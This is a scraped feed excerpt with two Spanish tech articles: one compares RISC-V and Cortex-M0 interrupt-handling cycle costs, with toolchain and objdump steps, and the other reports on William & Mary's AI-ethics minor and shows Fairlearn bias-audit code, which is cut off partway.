&lt;p&gt;RISC-V nació en la Universidad de California, Berkeley, como un conjunto de instrucciones abierto y modular, y hoy lo gestiona la organización sin fines de lucro RISC-V International. A diferencia del modelo de licenciamiento propietario de ARM, cualquiera puede implementar un núcleo RISC-V sin pagar regalías por el ISA en sí.&lt;/p&gt;

&lt;p&gt;Esa apertura viene acompañada de una filosofía de diseño particular: un ISA base mínimo (RV32I o RV64I) más un catálogo de extensiones opcionales que cada fabricante puede combinar según su caso de uso: M para multiplicación, A para atómicas, F y D para punto flotante, C para instrucciones comprimidas de 16 bits, y así sucesivamente. Existe también RV32E, una variante "embedded" que recorta el banco de registros de 32 a 16 para chips todavía más pequeños.&lt;/p&gt;

&lt;p&gt;Uno de esos módulos opcionales es Zicsr, el que agrega las instrucciones para leer y escribir Control and Status Registers (CSR). Sin Zicsr no hay forma conforme a la especificación de manejar una interrupción, porque no existe ningún lugar temporal donde guardar un registro antes de empezar a salvar el resto. MIPS, para el mismo problema, reservó directamente dos registros de propósito exclusivo, &lt;code&gt;$k0&lt;/code&gt; y &lt;code&gt;$k1&lt;/code&gt;. RISC-V, en cambio, resuelve esto con los CSR &lt;code&gt;mscratch&lt;/code&gt; o &lt;code&gt;sscratch&lt;/code&gt;, y solo si el núcleo implementa Zicsr.&lt;/p&gt;

&lt;p&gt;Del lado de la competencia, ARM lleva más de diez años vendiendo Cortex-M0 como el núcleo de referencia para microcontroladores ultra baratos, con silicio maduro, herramientas consolidadas y un manejo de interrupciones resuelto en hardware desde el diseño original.&lt;/p&gt;
&lt;h2&gt;
  
  
  RISC-V interrupciones: detalles técnicos y rendimiento
&lt;/h2&gt;

&lt;p&gt;El corazón del ensayo es un conteo de ciclos, instrucción por instrucción, de lo que le toma a un núcleo RV32I con Zicsr atender una interrupción y volver al código interrumpido, comparado con Cortex-M0. Ninguno de los dos es un núcleo fuera de orden: si sacan una instrucción por ciclo, ya es un buen resultado.&lt;/p&gt;

&lt;p&gt;En RV32I, la entrada a la interrupción arranca con una &lt;code&gt;CSRRW&lt;/code&gt; para guardar un registro temporal (por ejemplo &lt;code&gt;t0&lt;/code&gt;) y obtener la dirección base donde se van a guardar los demás. Después hay que guardar, uno por uno, &lt;code&gt;ra&lt;/code&gt;, &lt;code&gt;sp&lt;/code&gt;, &lt;code&gt;gp&lt;/code&gt;, &lt;code&gt;tp&lt;/code&gt;, &lt;code&gt;t1&lt;/code&gt; a &lt;code&gt;t6&lt;/code&gt;, y &lt;code&gt;a0&lt;/code&gt; a &lt;code&gt;a7&lt;/code&gt;. Con otra &lt;code&gt;CSRRW&lt;/code&gt; se recupera el valor original de &lt;code&gt;t0&lt;/code&gt; y también se guarda. Eso son, según el autor, al menos 21 ciclos.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight armasm"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt; &lt;span class="nf"&gt;Prologo&lt;/span&gt; &lt;span class="nv"&gt;de&lt;/span&gt; &lt;span class="nv"&gt;interrupcion&lt;/span&gt; &lt;span class="nv"&gt;en&lt;/span&gt; &lt;span class="nv"&gt;RV32I&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nv"&gt;Zicsr&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;pseudo&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;ensamblador&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nl"&gt;csrrw&lt;/span&gt; &lt;span class="nb"&gt;t0&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;mscratch&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;t0&lt;/span&gt;      &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nv"&gt;intercambia&lt;/span&gt; &lt;span class="nv"&gt;t0&lt;/span&gt; &lt;span class="nv"&gt;con&lt;/span&gt; &lt;span class="nv"&gt;la&lt;/span&gt; &lt;span class="nv"&gt;base&lt;/span&gt; &lt;span class="nv"&gt;de&lt;/span&gt; &lt;span class="nv"&gt;guardado&lt;/span&gt;
&lt;span class="nl"&gt;sw&lt;/span&gt;    &lt;span class="nb"&gt;ra&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;t0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nl"&gt;sw&lt;/span&gt;    &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;t0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nl"&gt;sw&lt;/span&gt;    &lt;span class="nb"&gt;gp&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;t0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nl"&gt;sw&lt;/span&gt;    &lt;span class="nb"&gt;tp&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;t0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nl"&gt;sw&lt;/span&gt;    &lt;span class="nb"&gt;t1&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;t0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;//&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="nv"&gt;t2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;t6&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;a0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;a7&lt;/span&gt; &lt;span class="nv"&gt;siguen&lt;/span&gt; &lt;span class="nv"&gt;el&lt;/span&gt; &lt;span class="nv"&gt;mismo&lt;/span&gt; &lt;span class="nv"&gt;patron&lt;/span&gt;
&lt;span class="nl"&gt;csrrw&lt;/span&gt; &lt;span class="nb"&gt;t1&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;mscratch&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;t1&lt;/span&gt;      &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nv"&gt;recupera&lt;/span&gt; &lt;span class="nv"&gt;el&lt;/span&gt; &lt;span class="nv"&gt;t0&lt;/span&gt; &lt;span class="nv"&gt;original&lt;/span&gt; &lt;span class="nv"&gt;y&lt;/span&gt; &lt;span class="nb"&gt;lo&lt;/span&gt; &lt;span class="nv"&gt;guarda&lt;/span&gt;
&lt;span class="nl"&gt;sw&lt;/span&gt;    &lt;span class="nb"&gt;t1&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;76&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;t0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nl"&gt;jal&lt;/span&gt;   &lt;span class="nf"&gt;handler_interrupcion_en_c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A la salida, el proceso se invierte: una &lt;code&gt;CSRRW&lt;/code&gt; para recuperar la dirección de guardado y 19 instrucciones &lt;code&gt;load&lt;/code&gt; para restaurar cada registro, al menos 20 ciclos más. Sumando el &lt;code&gt;JAL&lt;/code&gt; de entrada y el &lt;code&gt;RET&lt;/code&gt; de salida, el autor calcula un costo mínimo de 44 ciclos antes de que se ejecute una sola línea del handler en C.&lt;/p&gt;

&lt;p&gt;Cortex-M0 resuelve lo mismo con hardware dedicado: apila automáticamente los registros que la convención de llamada (ABI) considera volátiles en 15 ciclos al entrar, y los restaura en 12 ciclos al salir. El desarrollador escribe el handler directamente en C, sin ensamblador manual de por medio.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Handler de interrupcion en Cortex-M0: sin prologo manual&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;__attribute__&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;interrupt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"IRQ"&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="n"&gt;uart_rx_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;UART0&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;DR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;ring_buffer_push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;rx_buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con RV32E, que reduce el banco de 32 a 16 registros, el ahorro es de 6 ciclos en cada fase respecto a RV32I, según el propio cálculo del autor, lo que deja el costo total en 38 ciclos: todavía más de un tercio por encima de Cortex-M0.&lt;br&gt;
NúcleoEntrada de interrupciónSalida de interrupciónTotal¿Ensamblador manual?RV32I + Zicsr21 ciclos (CSRRW + 19 stores)20 ciclos (CSRRW + 19 loads)44 ciclosSí, obligatorioRV32E + Zicsr6 ciclos menos que RV32I6 ciclos menos que RV32I38 ciclosSí, obligatorioARM Cortex-M015 ciclos (hardware)12 ciclos (hardware)27 ciclosNo, handler directo en C44 ciclos en RV32I contra 27 en Cortex-M0: la diferencia es 63%.&lt;br&gt;
El texto señala además que la existencia de CLIC (Core-Local Interrupt Controller) y de extensiones propietarias de "fast IRQ" o auto-apilado en distintos fabricantes es, en sí misma, evidencia del problema: el ISA base obliga a cada vendedor a inventar silicio no estándar para alcanzar la paridad con un Cortex-M0 de una década de antigüedad, lo que a su vez fragmenta el propio estándar.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
    A["Interrupcion de hardware"] --&amp;gt; B{"Nucleo"}
    subgraph RV32I ["RISC-V RV32I + Zicsr"]
    C["CSRRW guarda contexto: 21 ciclos"] --&amp;gt; D["JAL a handler en C"]
    D --&amp;gt; E["Handler ejecuta en C"]
    E --&amp;gt; F["Restaura con loads: 20 ciclos"]
    F --&amp;gt; G["RET al codigo interrumpido"]
    end
    subgraph CM0 ["ARM Cortex-M0"]
    H["Hardware apila registros: 15 ciclos"] --&amp;gt; I["Handler ejecuta en C"]
    I --&amp;gt; J["Hardware restaura: 12 ciclos"]
    end
    B --&amp;gt;|"RISC-V"| C
    B --&amp;gt;|"Cortex-M0"| H
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💭 Clave:&lt;/strong&gt; el problema no es que RISC-V carezca de una solución rápida para interrupciones, sino que esa solución no forma parte del ISA base: cada fabricante la resuelve a su manera, y el código deja de ser portable entre núcleos RISC-V distintos.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Cómo probarlo
&lt;/h2&gt;

&lt;p&gt;Podés verificar este análisis vos mismo compilando un handler mínimo y leyendo el ensamblador generado con &lt;code&gt;objdump&lt;/code&gt;. Primero hace falta un toolchain cruzado para RISC-V.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux (Debian/Ubuntu)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;gcc-riscv64-unknown-elf gdb-multiarch

&lt;span class="c"&gt;# macOS (Homebrew)&lt;/span&gt;
brew tap riscv-software-src/riscv
brew &lt;span class="nb"&gt;install &lt;/span&gt;riscv-tools

&lt;span class="c"&gt;# Windows (via xPack, requiere Node.js)&lt;/span&gt;
npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--global&lt;/span&gt; xpm@latest
xpm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--global&lt;/span&gt; @xpack-dev-tools/riscv-none-elf-gcc@latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con el toolchain instalado, compilá un handler de interrupción simple y desensamblalo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;riscv64-unknown-elf-gcc -march=rv32i_zicsr -mabi=ilp32 \
  -O2 -c interrupt_handler.c -o interrupt_handler.o

riscv64-unknown-elf-objdump -d interrupt_handler.o | less
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En la salida vas a ver la secuencia de &lt;code&gt;csrrw&lt;/code&gt; seguida de una cadena de instrucciones &lt;code&gt;sw&lt;/code&gt; (store word) en el prólogo, y su espejo de instrucciones &lt;code&gt;lw&lt;/code&gt; (load word) en el epílogo. Contar esas líneas es, literalmente, reproducir el cálculo de ciclos del artículo original.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impacto y análisis
&lt;/h2&gt;

&lt;p&gt;La consecuencia práctica más citada del ensayo es la fragmentación. Si cada fabricante de silicio RISC-V necesita su propia extensión de interrupciones rápidas para competir con Cortex-M0, el código de un handler deja de ser portable entre un chip de SiFive, uno de Espressif y uno de otro proveedor, aunque todos digan "RISC-V" en la caja.&lt;/p&gt;

&lt;p&gt;Hay una contrapartida real en el diseño de RV32E: reducir el banco de registros de 32 a 16 mejora la densidad de código y el costo del prólogo de interrupción, pero también reduce cuánto puede mantener el compilador en registros durante código normal, lo que puede aumentar el tráfico hacia la pila en funciones con muchas variables locales. No es una mejora gratis: es un cambio de balance.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Ojo:&lt;/strong&gt; comparar cifras de ciclos entre arquitecturas distintas depende del compilador, las banderas de optimización y la implementación exacta del núcleo. Los números de este artículo son los que reporta el autor original con su propio conteo manual, no un benchmark estandarizado.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;RISC-V International sigue ratificando extensiones orientadas a interrupciones rápidas, entre ellas CLIC, con el objetivo declarado de estandarizar lo que hoy resuelven implementaciones propietarias caso por caso. El propio Dmitry.GR es explícito en que esto no condena a RISC-V en el segmento de microcontroladores baratos: predice que terminará desplazando al 8051, no por la calidad de su ISA, sino porque 8051 es un piso todavía más bajo. El debate de fondo (si conviene un ISA con casi todo opcional o uno con menos partes pero mejor resueltas de fábrica) sigue abierto en la comunidad de sistemas embebidos.&lt;/p&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: instalá el toolchain de RISC-V, compilá un handler de interrupción con &lt;code&gt;-march=rv32i_zicsr&lt;/code&gt; y contá los &lt;code&gt;sw&lt;/code&gt;/&lt;code&gt;lw&lt;/code&gt; del prólogo con &lt;code&gt;objdump -d&lt;/code&gt; para ver estos 44 ciclos con tus propios ojos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Qué es RISC-V?
&lt;/h3&gt;

&lt;p&gt;Es un conjunto de instrucciones (ISA) abierto y modular, gestionado por RISC-V International, que cualquier fabricante puede implementar sin pagar regalías por el diseño del ISA en sí.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué diferencia hay entre RV32I y RV32E?
&lt;/h3&gt;

&lt;p&gt;RV32I es el ISA base de 32 bits con 32 registros de propósito general. RV32E es una variante pensada para microcontroladores muy pequeños que recorta el banco a 16 registros para ahorrar área de silicio.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Por qué RISC-V no apila registros automáticamente como Cortex-M0?
&lt;/h3&gt;

&lt;p&gt;Porque el ISA base no incluye esa función en hardware: cada fabricante decide si la implementa mediante una extensión propia, lo que genera soluciones distintas entre núcleos.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué es la extensión Zicsr?
&lt;/h3&gt;

&lt;p&gt;Es el conjunto de instrucciones para leer y escribir Control and Status Registers. Sin ella no hay forma conforme a la especificación de manejar interrupciones en RISC-V.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿RISC-V va a reemplazar a ARM en microcontroladores baratos?
&lt;/h3&gt;

&lt;p&gt;Según el propio autor de la crítica, sí, pero en el segmento de microcontroladores de un solo uso desplazará principalmente al 8051, no porque su ISA sea superior, sino porque el 8051 parte de una base todavía más antigua.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Dónde puedo leer la crítica completa?
&lt;/h3&gt;

&lt;p&gt;El ensayo original, escrito por Dmitry.GR, está publicado en &lt;a href="https://dmitry.gr/?r=06.%20Thoughts&amp;amp;proj=12.%20RV" rel="noopener noreferrer"&gt;dmitry.gr&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://dmitry.gr/?r=06.%20Thoughts&amp;amp;proj=12.%20RV" rel="noopener noreferrer"&gt;RISC-V: They Should Have Known Better, por Dmitry.GR&lt;/a&gt;: el ensayo original con el conteo de ciclos completo.- &lt;a href="https://riscv.org" rel="noopener noreferrer"&gt;RISC-V International&lt;/a&gt;: organización que gestiona las especificaciones del ISA RISC-V.- &lt;a href="https://en.wikipedia.org/wiki/RISC-V" rel="noopener noreferrer"&gt;RISC-V en Wikipedia&lt;/a&gt;: historia y estado actual del proyecto.- &lt;a href="https://github.com/riscv-collab/riscv-gnu-toolchain" rel="noopener noreferrer"&gt;riscv-gnu-toolchain en GitHub&lt;/a&gt;: repositorio oficial para compilar el toolchain cruzado.- ARM Cortex-M0: página oficial del núcleo usado como comparación en el artículo.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>hardware</category>
      <category>technology</category>
      <category>programming</category>
      <category>discuss</category>
    </item>
    <item>
      <title>William &amp; Mary lanza una minor que une filosofía y ética de la IA</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Sat, 15 Aug 2026 16:19:34 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/william-mary-lanza-una-minor-que-une-filosofia-y-etica-de-la-ia-12l5</link>
      <guid>https://dev.to/lu1tr0n/william-mary-lanza-una-minor-que-une-filosofia-y-etica-de-la-ia-12l5</guid>
      <description>&lt;p&gt;William &amp;amp; Mary, una de las universidades más antiguas de Estados Unidos, anunció una nueva minor que combina ciencias de la computación con filosofía aplicada en un solo plan de estudios. La &lt;strong&gt;ética de la ia&lt;/strong&gt; deja de ser un seminario optativo de una tarde y pasa a ser una secuencia de cursos obligatorios para quienes completen el programa.&lt;/p&gt;

&lt;p&gt;La decisión llega mientras empresas y gobiernos discuten cómo auditar el comportamiento de los modelos antes de que lleguen a producción. Según su propio anuncio, la universidad busca formar perfiles que entiendan tanto el código como las preguntas normativas detrás de él.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;William &amp;amp; Mary anunció una nueva minor interdisciplinaria que une ciencias de la computación y filosofía aplicada.- El programa exige a estudiantes de computación cursar ética aplicada y a estudiantes de filosofía programar modelos de ia.- La minor se suma a iniciativas ya existentes como Embedded EthiCS de Stanford y el programa SERC del MIT.- Herramientas abiertas como Fairlearn y AIF360 permiten auditar sesgo algorítmico sin construir un modelo desde cero.- La demanda de perfiles híbridos entre ética e ingeniería de ia crece a medida que más empresas despliegan llms en producción.- William &amp;amp; Mary no publicó cifras de inscripción ni fecha exacta de inicio de cursos en el anuncio original.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Qué pasó
&lt;/h2&gt;

&lt;p&gt;William &amp;amp; Mary, fundada en 1693, &lt;a href="https://www.wm.edu/as/news/2026-2027/where-ai-meets-ethics-new-interdisciplinary-minor-blends-computer-science-and-philosophy.php" rel="noopener noreferrer"&gt;confirmó en su sitio oficial&lt;/a&gt; el lanzamiento de una minor que combina, en un mismo plan de estudios, materias del departamento de ciencias de la computación y del departamento de filosofía. La propuesta no es un curso aislado de "ia y sociedad": es una secuencia de materias que un estudiante de computación cursa junto a estudiantes de filosofía, y viceversa.&lt;/p&gt;

&lt;p&gt;El objetivo declarado por la universidad es que quien programe un modelo entienda las preguntas normativas que plantea la ética de la ia (a quién beneficia, a quién perjudica, qué supuestos arrastra el dato de entrenamiento) y que quien las plantee entienda también las limitaciones técnicas reales de un sistema de aprendizaje automático, no una versión simplificada de cómo funciona.&lt;br&gt;
La minor combina cursos de ambos departamentos en una sola secuencia obligatoria.&lt;/p&gt;
&lt;h2&gt;
  
  
  Contexto e historia
&lt;/h2&gt;

&lt;p&gt;La idea de enseñar ética dentro de una carrera técnica, y no como un curso aparte y opcional, no nace en William &amp;amp; Mary. El antecedente más citado es Embedded EthiCS, el programa de Stanford que inserta módulos de filosofía directamente dentro de cursos de estructuras de datos, inteligencia artificial o sistemas distribuidos, en lugar de aislarlos en una materia de humanidades. El MIT tiene un programa equivalente, Social and Ethical Responsibilities of Computing (SERC), que exige a estudiantes de computación reflexionar sobre el impacto social de lo que construyen antes de graduarse.&lt;/p&gt;

&lt;p&gt;Lo distinto en el caso de William &amp;amp; Mary es el formato: en vez de insertar módulos de ética dentro de materias técnicas ya existentes, la universidad crea una minor formal, con crédito académico propio, que aparece en el título del estudiante. Es una apuesta institucional más fuerte que un módulo optativo: certifica que ese estudiante completó una secuencia específica de ética aplicada a sistemas de ia, no solo que la escuchó una tarde.&lt;/p&gt;

&lt;p&gt;El momento del anuncio tampoco es casual. La discusión pública sobre sesgo algorítmico y comportamiento no previsto de modelos de lenguaje en producción lleva años instalada en medios generalistas, no solo en publicaciones técnicas. Universidades que forman a la próxima generación de ingenieros de ia enfrentan presión creciente para no entregar solo competencia técnica, sino también criterio para decidir cuándo un sistema no debería desplegarse.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💭 Clave:&lt;/strong&gt; una minor con crédito propio obliga a completar una secuencia entera de cursos, no un taller aislado. Eso cambia el incentivo del estudiante: no es una anécdota para el currículum, es una certificación formal.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Ética de la ia en código: cómo se audita el sesgo
&lt;/h2&gt;

&lt;p&gt;La parte técnica de programas como este no se queda en la discusión filosófica. Auditar un modelo por sesgo es un problema medible, con métricas concretas y herramientas open source que cualquier desarrollador puede correr hoy contra su propio pipeline.&lt;/p&gt;

&lt;p&gt;Las métricas más usadas comparan el comportamiento del modelo entre grupos definidos por un atributo sensible (género, edad, región, etc.). No existe una única métrica "correcta": cada una mide algo distinto y, en general, no es matemáticamente posible satisfacerlas todas a la vez sobre el mismo modelo.&lt;br&gt;
MétricaQué mideCuándo usarlaLimitaciónParidad demográficaQue la tasa de predicciones positivas sea igual entre gruposCuando el objetivo es igualdad de acceso (ej. aprobación de crédito)Puede forzar al modelo a ignorar diferencias reales relevantes entre gruposIgualdad de oportunidades (equalized odds)Que la tasa de falsos positivos y falsos negativos sea igual entre gruposCuando el costo de un error varía según el contextoMás difícil de optimizar sin sacrificar precisión generalFairness individualQue individuos similares reciban predicciones similaresCuando importa la consistencia caso por casoRequiere definir una métrica de "similitud", que ya es una decisión de diseñoFairness contrafactualQue la predicción no cambie si solo se altera el atributo sensibleCuando existe un modelo causal razonable del dominioExige un modelo causal explícito, raro en la práctica&lt;br&gt;
En la práctica, un equipo de ingeniería no elige a mano un número: usa una librería que calcula estas métricas sobre las predicciones reales del modelo. &lt;a href="https://fairlearn.org/" rel="noopener noreferrer"&gt;Fairlearn&lt;/a&gt;, mantenida por Microsoft y la comunidad open source, es la opción más extendida en Python.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;fairlearn
python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import fairlearn; print(fairlearn.__version__)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ese primer paso solo confirma que la librería está instalada y responde. La auditoría real ocurre cuando se corre contra las predicciones de un modelo ya entrenado, con un atributo sensible identificado en el dataset:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fairlearn.metrics&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MetricFrame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;demographic_parity_difference&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;sklearn.metrics&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;accuracy_score&lt;/span&gt;

&lt;span class="n"&gt;metric_frame&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MetricFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;metrics&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;accuracy_score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;y_true&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y_test&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;y_pred&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y_pred&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;sensitive_features&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;genero_solicitante&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;dpd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;demographic_parity_difference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;y_true&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y_test&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;y_pred&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;y_pred&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;sensitive_features&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;genero_solicitante&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Precisión por grupo:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;metric_frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;by_group&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
